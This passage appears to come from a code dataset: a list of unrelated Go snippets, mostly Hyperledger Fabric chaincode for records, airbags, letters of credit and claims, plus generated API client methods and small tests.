invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error : There is no primary key specification.\")\r\n\t}\r\n\r\n\tvar pk_spec []interface{}\r\n\r\n\tpk_spec, ok = specs[\"primary_key\"].([]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error in Primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in Primary key specification.\")\r\n\t}\r\n\r\n\tkey, err_key := t.createInterfacePrimaryKey(record_specification_input, pk_spec)\r\n\r\n\tif err_key != nil {\r\n\r\n\t\tfmt.Println(err_key.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(err_key.Error())\r\n\r\n\t}\r\n\r\n\tvar valAsBytes []byte\r\n\r\n\tvalAsBytes, err = stub.GetState(key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to get state: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to get state: \" + err.Error())\r\n\r\n\t} else if valAsBytes == nil {\r\n\r\n\t\tfmt.Println(\"Error: No value for primary key : \" + key)\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: No value for key\")\r\n\r\n\t}\r\n\r\n\tvar record_specification map[string]interface{}\r\n\r\n\terr = json.Unmarshal([]byte(valAsBytes), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record\")\r\n\r\n\t}\r\n\r\n\tvar check int\r\n\r\n\tcheck, err = t.Isfieldsmodified(record_specification_input, record_specification, map_specification)\r\n\r\n\tif check != 0 {\r\n\r\n\t\tfmt.Println(\"Status Update Failed due to error in modification check. \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Status Update Failed due to error in modification check. \" + err.Error())\r\n\t}\r\n\r\n\terr_del := t.delete_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err_del != nil {\r\n\r\n\t\tfmt.Println(\"Error in deleting composite keys\" + err_del.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in deleting composite keys\" + err_del.Error())\r\n\r\n\t}\r\n\r\n\tvar to_be_updated_map map[string]interface{}\r\n\r\n\terr = json.Unmarshal([]byte(args[1]), &to_be_updated_map)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of update map.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of update map.\")\r\n\r\n\t}\r\n\r\n\tfor spec, spec_val := range to_be_updated_map {\r\n\r\n\t\tvar spec_val_string, spec_ok = spec_val.(string)\r\n\r\n\t\tif !spec_ok {\r\n\r\n\t\t\tfmt.Println(\"Error: Unable to parse value of status update\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Unable to parse value of status update\")\r\n\r\n\t\t}\r\n\r\n\t\tvar val_check, val_err = t.updatestatusvaliditycheck(spec, spec_val_string, map_specification)\r\n\r\n\t\tif val_check != 0 {\r\n\r\n\t\t\tfmt.Println(val_err.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\t\treturn shim.Error(val_err.Error())\r\n\t\t}\r\n\r\n\t\trecord_specification[spec] = spec_val_string\r\n\t}\r\n\r\n\tvar concatenated_record_json []byte\r\n\r\n\tconcatenated_record_json, err = json.Marshal(record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\t}\r\n\r\n\terr = stub.PutState(key, []byte(concatenated_record_json))\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to put state : \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to put state : \" + err.Error())\r\n\t}\r\n\r\n\terr = t.create_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in creating composite keys\" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in creating composite keys\" + err.Error())\r\n\t}\r\n\r\n\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\treturn shim.Success(nil)\r\n\r\n}", "func getChaincodeDeploymentSpec(spec *pb.ChaincodeSpec) (*pb.ChaincodeDeploymentSpec, error) {\n\tvar codePackageBytes []byte\n\tvar err error\n\tif err = checkSpec(spec); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcodePackageBytes, err = container.GetChaincodePackageBytes(spec)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Error getting chaincode package bytes: %s\", err)\n\t\treturn nil, err\n\t}\n fmt.Printf(\"%s\", codePackageBytes)\n\tchaincodeDeploymentSpec := &pb.ChaincodeDeploymentSpec{ChaincodeSpec: spec, CodePackage: codePackageBytes}\n\treturn chaincodeDeploymentSpec, nil\n}", "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\t\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfunction =strings.ToLower(function)\n\t// check role validity\n\tvar role []string\n\trole = strings.Split(args[0],\".\")\n\t//var err error\n\t// check and map roles here\n\t//serializedID,err := stub.GetCreator()\n\tmymap,err := stub.GetCreator()\n\tif err != nil{\n\t\treturn shim.Error(err.Error())\n\t}\n\tfmt.Println(mymap)\n\t//sid := &msp.SerializedIdentity{}\n\t//payload,_:= utils.GetHeader(mymap)\n\tsign,err1 := stub.GetSignedProposal()\n\tif err1 != nil{\n\t\treturn shim.Error(err.Error())\n\t}\n\t//sign.Reset()\n\tsign.Signature = mymap\n\tfmt.Println(sign.Signature)\n\tvar str string = sign.String()\n\tfmt.Println(str)\n\tvar beg string = \"-----BEGIN CERTIFICATE-----\"\n\tvar end string = \"-----END CERTIFICATE-----\"\n\tcerlVal:= strings.ReplaceAll(beg+ strings.Split(strings.Split(str,beg)[2],end)[0]+end,\"\\\\n\",\"\\n\")\n\tfmt.Println([]byte(cerlVal))\n\tblock,_:= pem.Decode([]byte(cerlVal))\n\tif block == nil{\n\t\treturn shim.Error(fmt.Sprintf(\"Pem parsing error %f\\n\",block.Bytes))\n\t}\n\tfmt.Println(block.Bytes)\n\tcert,err2 := x509.ParseCertificate(block.Bytes)\n \tif err2 != nil{\n\t\treturn shim.Error(err2.Error())\n\t}\n\tif len(role) != 2 {\n \treturn shim.Error(fmt.Sprintf(\"Role format not correct \"))\n\t}\n\tfmt.Println(cert.Subject.CommonName)\n\tif cert.Subject.CommonName != args[0]{\n\t\treturn shim.Error(fmt.Sprintf(\"Certificate doesn't match given role, exiting immediately\"))\n\t}\n\t\n\t/*id,_ := stub.GetCreator()\n\tcert,err := x509.ParseCertificate(id)\n\tif cert == nil || err != nil{\n\t\treturn shim.Error(string(cert.RawSubject))\n\t}\n\tif len(role)!=2 {\n\t\treturn shim.Error(string(id))\n\t}*/\n\tif function == \"addairbag\" {\n\t\t// Adds an airbag to the ledger\n\t\treturn t.addairbag(stub, args)\n\t}\n\n\tif function == \"transferairbag\" {\n\t\t// transfers an airbag to another manufacturer\n\t\treturn t.transferairbag(stub, args)\n\t}\n\tif function == \"mountairbag\" {\n\t\t// mounts an airbag into a car\n\t\treturn t.mountairbag(stub, args)\n\t}\n\n\tif function == \"replaceairbag\" {\n\t\t// replaces an airbag in a car\n\t\treturn t.replaceairbag(stub, args)\n\t}\n\tif function == \"recallairbag\" {\n\t\t// Recalls an airbag\n\t\treturn t.recallairbag(stub, args)\n\t}\n\tif function == \"checkairbag\" {\n\t\t// Checks an airbag in a car\n\t\treturn t.checkairbag(stub, args)\n\t}\n\tif function == \"query\" {\n\t\t// Checks an airbag in a car\n\t\treturn t.queryHistory(stub, args)\n\t}\n\treturn shim.Error(fmt.Sprintf(\"Unknown action, check the first argument, must be one of 'addairbag', 'transferairbag','mountairbag','replaceairbag','recallairbag', or 'checkairbag'. But got: %v\", function))\n}", "func (s *SmartContract) updateCarrier(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n \n\t lcID := struct {\n\t\t\t LcID string `json:\"lcID\"`\t\n\t\t\t Carrier string \t`json:\"carrier\"`\n\t }{}\n \n\t err := json.Unmarshal([]byte(args[0]),&lcID)\n\t if err != nil {\n\t\t\t return shim.Error(\"Not able to parse args into LC\")\n\t }\n \n\t LCAsBytes, _ := APIstub.GetState(lcID.LcID)\n\t var lc LetterOfCredit\n\t err = json.Unmarshal(LCAsBytes, &lc)\n\t if err != nil {\n\t\t\t return shim.Error(\"Issue with LC json unmarshaling\")\n\t }\n \n\t // Verify that the LC has been agreed to\n\t if lc.Status != \"Accepted\" {\n\t\t fmt.Printf(\"Letter of Credit request for trade %s accepted\\n\", lcID.LcID)\n\t\t return shim.Error(\"LC has not been accepted by the parties\")\n\t }\n \n\t // LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount, Status: \"Rejected\", BuyerBank: lc.BuyerBank}\n\t LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount,Carrier : lcID.Carrier , Status: \"ReadyforShip\"}\n\t LCBytes, err := json.Marshal(LC)\n\t if err != nil {\n\t\t\t return shim.Error(\"Issue with LC json marshaling\")\n\t }\n \n\t APIstub.PutState(lc.LCId,LCBytes)\n\t fmt.Println(\"LC UpdateCarrier -> \", LC)\n \n\t return shim.Success(nil)\n }", "func (o *PatchManagementEntitiesMoidDefault) Code() int {\n\treturn o._statusCode\n}", "func Test_Client_MapByCallingCode(t *testing.T) {\n\tret := mockClient.MapByCallingCode(\"65\")\n\tassert.Equal(t, ret[0].Name, \"Singapore\")\n}", "func Test_Errorcode_Build(t *testing.T) {\n\n\terrorCode := uerrors.NewCodeErrorWithPrefix(\"test\", \"test0001\")\n\n\terrorCode.WithMsgBody(\"this is error message content with param.\")\n\terrorCode.WithMsgBody(\"params: ${p1} , ${p2} , ${p3}.\")\n\n\t//log.Printf()\n\n\tres := errorCode.Build(\"hello-message \", \"my deal-other \", \"define\")\n\tfmt.Println(res)\n\n\tfmt.Println(\"case 2\")\n\tres = errorCode.Build(\"hello-message2 \", \"my deal-other2 \", \"define2\")\n\tfmt.Println(res)\n\n}", "func newResponse(regex string, code int) Response {\n\tr := Response{Code: code}\n\tr.Regex = regexp.MustCompile(regex)\n\treturn r\n}", "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" { //initialize the chaincode state, used as reset\n\t\treturn t.Init(stub)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args) //writes a value to the chaincode state\n\n\t} else if function == \"read\" {\n\t\treturn t.read(stub, args) //writes a value to the chaincode state\n\n\t} else if function==\"consignmentDetail\"{\n return t.consignmentDetail(stub, args)\n \n\t} else if function == \"notifyClaim\" { //writes claim details with status notified in ledger\n\t\treturn t.notifyClaim(stub, args)\n\n\t} else if function == \"createClaim\" { //writes claim details with status approved in ledger\n\t\treturn t.createClaim(stub, args)\n\n\t} else if function == \"Delete\" { //deletes an entity from its state\n\t\treturn t.Delete(stub, args)\n\n\t} else if function == \"UploadDocuments\" { //upload the dcument hash value \n\t\treturn t.UploadDocuments(stub, args)\n\n\t} else if function == \"rejectClaim\" { //upload the dcument hash value \n return t.rejectClaim(stub, args)\n\n } else if function == \"ExamineClaim\" { //Examine and updtaes the claim with status examined\n\t\treturn t.ExamineClaim(stub, args)\n\n\t} else if function == \"ClaimNegotiation\" { //claim negotiations takes place between public adjuster and claim adjuster\n\t\treturn t.ClaimNegotiation(stub, args)\n\n\t} else if function == \"approveClaim\" { //after negotiation claim amount is finalised and approved\n\t\treturn t.approveClaim(stub, args)\n\n\t} else if function == \"settleClaim\" { //after negotiation claim amount is finalised and approved\n\t\treturn t.settleClaim(stub, args)\n\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn shim.Error(\"Received unknown invoke function name - '\" + function + \"'\")\n}", "func (s *SmartContract) issueLC(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n \n\t lcID := struct {\n\t\t LcID string `json:\"lcID\"`\n\t }{}\n\t err := json.Unmarshal([]byte(args[0]),&lcID)\n\t if err != nil {\n\t\t return shim.Error(\"Not able to parse args into LCID\")\n\t }\n\t \n\t // if err != nil {\n\t // \treturn shim.Error(\"No Amount\")\n\t // }\n \n\t LCAsBytes, _ := APIstub.GetState(lcID.LcID)\n \n\t var lc LetterOfCredit\n \n\t err = json.Unmarshal(LCAsBytes, &lc)\n \n\t if err != nil {\n\t\t return shim.Error(\"Issue with LC json unmarshaling\")\n\t }\n \n // Verify that the LC is already in Progress before Issueing \n\tif (lc.Status == \"Accepted\" || lc.Status == \"Rejected\" || lc.Status == \"ReadyforShip\" || lc.Status == \"Shipped\" ||lc.Status == \"Paid-AWB\"){\n\t\tfmt.Printf(\"Letter of Credit request for trade %s is already In Process\\n\", lcID.LcID)\n\t\treturn shim.Error(\"Letter of Credit request#: is already In Process, Operation Not Allowed\" )\n\t}\n\t LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, BuyerBank: lc.BuyerBank,SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount, Status: \"Issued\"}\n\t LCBytes, err := json.Marshal(LC)\n \n\t if err != nil {\n\t\t return shim.Error(\"Issue with LC json marshaling\")\n\t }\n \n\t APIstub.PutState(lc.LCId,LCBytes)\n\t fmt.Println(\"LC Issued -> \", LC)\n \n \n\t return shim.Success(nil)\n }", "func (ac *applicationController) ModifyRegistrationDetails(accounts models.Accounts, w http.ResponseWriter, r *http.Request) {\n\t// swagger:operation PATCH /applications/{appName} application modifyRegistrationDetails\n\t// ---\n\t// summary: Updates specific field(s) of an application registration\n\t// parameters:\n\t// - name: appName\n\t// in: path\n\t// description: Name of application\n\t// type: string\n\t// required: true\n\t// - name: patchRequest\n\t// in: body\n\t// description: Request for Application to patch\n\t// required: true\n\t// schema:\n\t// \"$ref\": \"#/definitions/ApplicationRegistrationPatchRequest\"\n\t// - name: Impersonate-User\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test users (Required if Impersonate-Group is set)\n\t// type: string\n\t// required: false\n\t// - name: Impersonate-Group\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test group (Required if Impersonate-User is set)\n\t// type: array\n\t// items:\n\t// type: string\n\t// required: false\n\t// responses:\n\t// \"200\":\n\t// description: Modifying registration operation details\n\t// schema:\n\t// \"$ref\": \"#/definitions/ApplicationRegistrationUpsertResponse\"\n\t// \"400\":\n\t// description: \"Invalid application\"\n\t// \"401\":\n\t// description: \"Unauthorized\"\n\t// \"404\":\n\t// description: \"Not found\"\n\t// \"409\":\n\t// description: \"Conflict\"\n\tappName := mux.Vars(r)[\"appName\"]\n\n\tvar applicationRegistrationPatchRequest applicationModels.ApplicationRegistrationPatchRequest\n\tif err := json.NewDecoder(r.Body).Decode(&applicationRegistrationPatchRequest); err != nil {\n\t\tradixhttp.ErrorResponse(w, r, err)\n\t\treturn\n\t}\n\n\t// Need in cluster Radix client in order to validate registration using sufficient privileges\n\thandler := ac.applicationHandlerFactory(accounts)\n\tappRegistrationUpsertResponse, err := handler.ModifyRegistrationDetails(r.Context(), appName, applicationRegistrationPatchRequest)\n\tif err != nil {\n\t\tradixhttp.ErrorResponse(w, r, err)\n\t\treturn\n\t}\n\n\tradixhttp.JSONResponse(w, r, &appRegistrationUpsertResponse)\n}", "func (m *PaymentTerm) SetCode(value *string)() {\n err := m.GetBackingStore().Set(\"code\", value)\n if err != nil {\n panic(err)\n }\n}", "func (f *CreateBundleReply) Code() FrameCode {\n\treturn FrameCreateBundle\n}", "func (*InvokeScriptResult_Reissue) Descriptor() ([]byte, []int) {\n\treturn file_waves_invoke_script_result_proto_rawDescGZIP(), []int{0, 2}\n}", "func (o *PatchServiceAccountTokenNotFound) Code() int {\n\treturn 404\n}", "func (o *PatchEquipmentIoExpandersMoidDefault) Code() int {\n\treturn o._statusCode\n}", "func Code(w http.ResponseWriter, r *http.Request) {\n\tfilter, queryErr := getFilter(r)\n\tvar response string\n\tif queryErr != nil {\n\t\tresponse = `QUERY ERROR\\n` + queryErr.Error()\n\t} else {\n\t\tdumpcapOut, dumpcapErr := callDumpcap(filter)\n\t\tif dumpcapErr != nil {\n\t\t\tresponse = dumpcapErr.Error()\n\t\t} else {\n\t\t\tresponse = \"(000)\" + strings.SplitN(string(dumpcapOut), \"(000)\", 2)[1]\n\t\t}\n\t}\n\tw.Write([]byte(response + \"\\n\"))\n}", "func (o *PatchOpsNoteByIDDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *PatchServiceAccountTokenDefault) Code() int {\n\treturn o._statusCode\n}", "func makeDescription(draconResult map[string]string, extras []string) string {\n\tdesc := \"This issue was automatically generated by the Dracon security pipeline.\\n\\n\" +\n\t\t\"*\" + draconResult[\"description\"] + \"*\" + \"\\n\\n\"\n\n\t// Append the extra fields to the description\n\tif len(extras) > 0 {\n\t\tdesc = desc + \"{code:}\" + \"\\n\"\n\t\tfor _, s := range extras {\n\t\t\tdesc = desc + fmt.Sprintf(\"%s: %*s\\n\", s, 25-len(s)+len(draconResult[s]), draconResult[s])\n\t\t}\n\t\tdesc = desc + \"{code}\" + \"\\n\"\n\t}\n\treturn desc\n}", "func Return(ctx *gin.Context, code status.Code, data interface{}) {\n\tResponse(ctx, http.StatusOK, int(code), code.String(), data)\n}", "func (o *PatchAddonDefault) Code() int {\n\treturn o._statusCode\n}", "func (a *Client) PatchAttributesCode(params *PatchAttributesCodeParams) (*PatchAttributesCodeCreated, *PatchAttributesCodeNoContent, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPatchAttributesCodeParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"patch_attributes__code_\",\n\t\tMethod: \"PATCH\",\n\t\tPathPattern: \"/api/rest/v1/attributes/{code}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\"},\n\t\tParams: params,\n\t\tReader: &PatchAttributesCodeReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tswitch value := result.(type) {\n\tcase *PatchAttributesCodeCreated:\n\t\treturn value, nil, nil\n\tcase *PatchAttributesCodeNoContent:\n\t\treturn nil, value, nil\n\t}\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for attribute: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func EncodeGrpcRespWorkloadSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (mmDeployCode *mClientMockDeployCode) Return(ip1 *insolar.ID, err error) *ClientMock {\n\tif mmDeployCode.mock.funcDeployCode != nil {\n\t\tmmDeployCode.mock.t.Fatalf(\"ClientMock.DeployCode mock is already set by Set\")\n\t}\n\n\tif mmDeployCode.defaultExpectation == nil {\n\t\tmmDeployCode.defaultExpectation = &ClientMockDeployCodeExpectation{mock: mmDeployCode.mock}\n\t}\n\tmmDeployCode.defaultExpectation.results = &ClientMockDeployCodeResults{ip1, err}\n\treturn mmDeployCode.mock\n}", "func (*ResponseProductCodes) Descriptor() ([]byte, []int) {\n\treturn file_response_product_codes_proto_rawDescGZIP(), []int{0}\n}", "func (t *IPDCChaincode) query_update_status(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering query_update_status***********\")\r\n\r\n\t//var arguments []string\r\n\r\n\tvar pageno int\r\n\r\n\tif len(args) < 1 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tvar record_specification map[string]interface{}\r\n\r\n\terr := json.Unmarshal([]byte(args[0]), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record\")\r\n\t}\r\n\r\n\tif len(record_specification) != 1 {\r\n\r\n\t\tfmt.Println(\"Input should contain only one status\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Input should contain only one status\")\r\n\t}\r\n\r\n\tif len(args) < 2 {\r\n\r\n\t\tpageno = 1\r\n\r\n\t} else {\r\n\r\n\t\tpageno, err = strconv.Atoi(args[1])\r\n\r\n\t\tif err != nil {\r\n\r\n\t\t\tfmt.Println(\"Error parsing page number \" + err.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error parsing page number \" + err.Error())\r\n\r\n\t\t} else if pageno < 1 {\r\n\r\n\t\t\tfmt.Println(\"Invalid page number\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid page number\")\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tvar additional_json_data map[string]interface{}\r\n\r\n\tif ok {\r\n\r\n\t\tvar ok1 bool\r\n\r\n\t\tadditional_json_data, ok1 = additional_json.(map[string]interface{})\r\n\r\n\t\tif !ok1 {\r\n\r\n\t\t\tfmt.Println(\"Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, additional_json_data)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Invalid keys map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Invalid keys map specification.\")\r\n\t}\r\n\r\n\tvar composite_key = make(map[string]interface{})\r\n\r\n\tfor spec, _ := range record_specification {\r\n\r\n\t\tcomposite_key[spec], ok = specs[spec]\r\n\r\n\t\tif !ok {\r\n\t\t\tfmt.Println(\"Composite key specification missing\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Composite key specification missing\")\r\n\t\t}\r\n\t}\r\n\r\n\tfor spec, _ := range additional_json_data {\r\n\r\n\t\trecord_specification[spec] = additional_json_data[spec]\r\n\t}\r\n\r\n\t//compositekeyJsonString, err_marshal := json.Marshal(composite_key)\r\n\r\n\t//if (err_marshal != nil) {\r\n\r\n\t//\tfmt.Println(\"Error in marshaling composite key\")\r\n\r\n\t//\treturn shim.Error(\"Error in marshaling composite key\")\r\n\t//}\r\n\r\n\t//var concatenated_record_json []byte\r\n\r\n\t//concatenated_record_json, err_marshal = json.Marshal(record_specification)\r\n\r\n\t//if(err_marshal != nil) {\r\n\r\n\t//\tfmt.Println(\"Unable to Marshal Concatenated Record to JSON\")\r\n\r\n\t//\treturn shim.Error(\"Unable to Marshal Concatenated Record to JSON\")\r\n\t//}\r\n\r\n\t//arguments = append(arguments, string(concatenated_record_json))\r\n\r\n\t//arguments = append(arguments, string(compositekeyJsonString))\r\n\r\n\t//return t.query_by_composite_key(stub, arguments, pageno)\r\n\r\n\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\treturn t.query_by_composite_key(stub, record_specification, composite_key, pageno)\r\n\r\n}", "func (t *myChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n switch function {\n\n case \"create\":\n if len(args) < 4{\n return nil, errors.New(\"create operation must include at last four arguments, a uuid , a from , a to and timestamp\")\n }\n // get the args\n uuid := args[0]\n fromid := args[1]\n toid := args[2]\n timestamp := args[3]\n metadata := args[4]\n history := fromid\n owner := fromid\n status := \"0\"\n createtm := timestamp\n submittm := \"0\"\n confirmtm := \"0\"\n\n //TODO: need some check for fromid and data\n //check fromid and toid\n if fromid == toid {\n return nil, errors.New(\"create operation failed, fromid is same with toid\")\n }\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n \n //check for existence of the bill\n oldvalue, err := stub.GetState(uuid)\n if err != nil {\n return nil, fmt.Errorf(\"create operation failed. Error accessing state(check the existence of bill): %s\", err)\n }\n if oldvalue != nil {\n return nil, fmt.Errorf(\"existed bill!\")\n } \n\n key := uuid\n value := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"value is %s\", value)\n\n err = stub.PutState(key, []byte(value))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"create operation failed. Error updating state: %s\", err)\n }\n //store the metadata\n key = uuid + sp + \"md\"\n value = metadata\n fmt.Printf(\"value is %s\", value)\n\n err = stub.PutState(key, []byte(value))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"store the metadat operation failed. Error updating state: %s\", err)\n }\n\n //store the from and to \n key = fromid + sp + timestamp + sp + uuid\n err = stub.PutState(key, []byte(timestamp))\n if err != nil {\n fmt.Printf(\"Error putting state for fromid : %s\", err)\n }\n key = toid + sp + timestamp + sp + uuid\n err = stub.PutState(key, []byte(timestamp))\n if err != nil {\n fmt.Printf(\"Error putting state for toid : %s\", err)\n }\n return nil,nil\n\n case \"transfer\":\n if len(args) < 4{\n return nil, errors.New(\"transfer operation must include at last there arguments, a uuid , a owner , a toid and timestamp\")\n }\n //get the args\n key := args[0]\n uuid := key\n _owner := args[1]\n _toid := args[2]\n timestamp := args[3]\n\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n history := listValue[2]\n owner := listValue[3]\n status := listValue[4]\n createtm := listValue[5]\n submittm := listValue[6]\n confirmtm := listValue[7]\n \n //ToDo: some check for the owner?\n // if the person don't own it, he can transfer this bill\n if _owner != owner {\n return []byte(\"don't have the right to transfer the bill\"), errors.New(\"don't have the right to transfer\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n //if the owner is toid, it cann't be transfer any more\n if owner == toid {\n return []byte(\"cann't transfer bill now\"), errors.New(\"cann't transfer this bill now\") \n }\n if status == \"2\" {\n return []byte(\"this bill has been submited adn you can't transfer it any more!\"), errors.New(\"this bill has been submited adn you can't transfer it any more!\")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"0\"{\n status = \"1\"\n }\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n history = history + \",\" + _toid\n owner = _toid\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil 